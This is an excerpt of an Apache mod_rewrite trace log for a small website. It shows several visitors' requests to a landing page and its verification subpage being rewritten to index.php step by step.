[Mon Nov 10 18:43:18.798837 2025] [rewrite:trace1] [pid 11494:tid 11501] mod_rewrite.c(505): [client 185.220.101.131:1339] 185.220.101.131 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383810dd30/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:18.884072 2025] [rewrite:trace3] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3834016290/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884140 2025] [rewrite:trace3] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3834016290/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884164 2025] [rewrite:trace4] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3834016290/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884202 2025] [rewrite:trace4] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3834016290/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884226 2025] [rewrite:trace4] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3834016290/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884241 2025] [rewrite:trace2] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3834016290/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884257 2025] [rewrite:trace3] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3834016290/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884274 2025] [rewrite:trace2] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3834016290/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884290 2025] [rewrite:trace2] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3834016290/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884330 2025] [rewrite:trace1] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3834016290/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884528 2025] [rewrite:trace3] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340bf978/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884550 2025] [rewrite:trace3] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340bf978/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884565 2025] [rewrite:trace3] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340bf978/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884582 2025] [rewrite:trace4] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340bf978/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884598 2025] [rewrite:trace3] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340bf978/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884613 2025] [rewrite:trace3] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340bf978/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884636 2025] [rewrite:trace3] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340bf978/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884655 2025] [rewrite:trace4] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340bf978/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884668 2025] [rewrite:trace1] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340bf978/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884942 2025] [rewrite:trace3] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340ccbe0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.884972 2025] [rewrite:trace3] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340ccbe0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.885001 2025] [rewrite:trace4] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340ccbe0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.885021 2025] [rewrite:trace4] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340ccbe0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.885043 2025] [rewrite:trace4] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340ccbe0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.885058 2025] [rewrite:trace2] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340ccbe0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.885072 2025] [rewrite:trace3] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340ccbe0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.885087 2025] [rewrite:trace2] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340ccbe0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.885100 2025] [rewrite:trace2] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340ccbe0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:18.885114 2025] [rewrite:trace1] [pid 11494:tid 11507] mod_rewrite.c(505): [client 188.68.52.231:62112] 188.68.52.231 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38340ccbe0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:20.522493 2025] [rewrite:trace3] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c01fa20/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.522616 2025] [rewrite:trace3] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c01fa20/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.522629 2025] [rewrite:trace3] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c01fa20/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.522653 2025] [rewrite:trace4] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c01fa20/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.522676 2025] [rewrite:trace4] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c01fa20/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.522689 2025] [rewrite:trace4] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c01fa20/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.522700 2025] [rewrite:trace2] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c01fa20/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.522711 2025] [rewrite:trace3] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c01fa20/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.522724 2025] [rewrite:trace2] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c01fa20/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.522735 2025] [rewrite:trace2] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c01fa20/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.522750 2025] [rewrite:trace1] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c01fa20/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.522945 2025] [rewrite:trace3] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c0194c0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.522961 2025] [rewrite:trace3] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c0194c0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.522970 2025] [rewrite:trace3] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c0194c0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.522983 2025] [rewrite:trace4] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c0194c0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.522993 2025] [rewrite:trace3] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c0194c0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.523003 2025] [rewrite:trace3] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c0194c0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.523012 2025] [rewrite:trace3] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c0194c0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.523025 2025] [rewrite:trace4] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c0194c0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.523040 2025] [rewrite:trace1] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c0194c0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.523423 2025] [rewrite:trace3] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c118020/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.523463 2025] [rewrite:trace3] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c118020/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.523474 2025] [rewrite:trace3] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c118020/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.523486 2025] [rewrite:trace4] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c118020/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.523501 2025] [rewrite:trace4] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c118020/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.523513 2025] [rewrite:trace4] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c118020/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.523522 2025] [rewrite:trace2] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c118020/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.523532 2025] [rewrite:trace3] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c118020/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.523548 2025] [rewrite:trace2] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c118020/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.523559 2025] [rewrite:trace2] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c118020/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:20.523568 2025] [rewrite:trace1] [pid 11496:tid 11554] mod_rewrite.c(505): [client 5.45.104.176:11260] 5.45.104.176 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f384c118020/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:43:29.440840 2025] [rewrite:trace3] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383800ff80/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.440933 2025] [rewrite:trace3] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383800ff80/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.440962 2025] [rewrite:trace4] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383800ff80/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.440995 2025] [rewrite:trace4] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383800ff80/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441017 2025] [rewrite:trace4] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383800ff80/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441045 2025] [rewrite:trace2] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383800ff80/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:43:29.441052 2025] [rewrite:trace3] [pid 11582:tid 11596] mod_rewrite.c(505): [client 192.76.153.253:61684] 192.76.153.253 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383800ff80/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
